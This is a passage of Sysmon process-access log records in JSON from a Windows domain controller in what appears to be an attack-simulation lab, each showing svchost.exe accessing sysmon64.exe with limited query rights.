11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 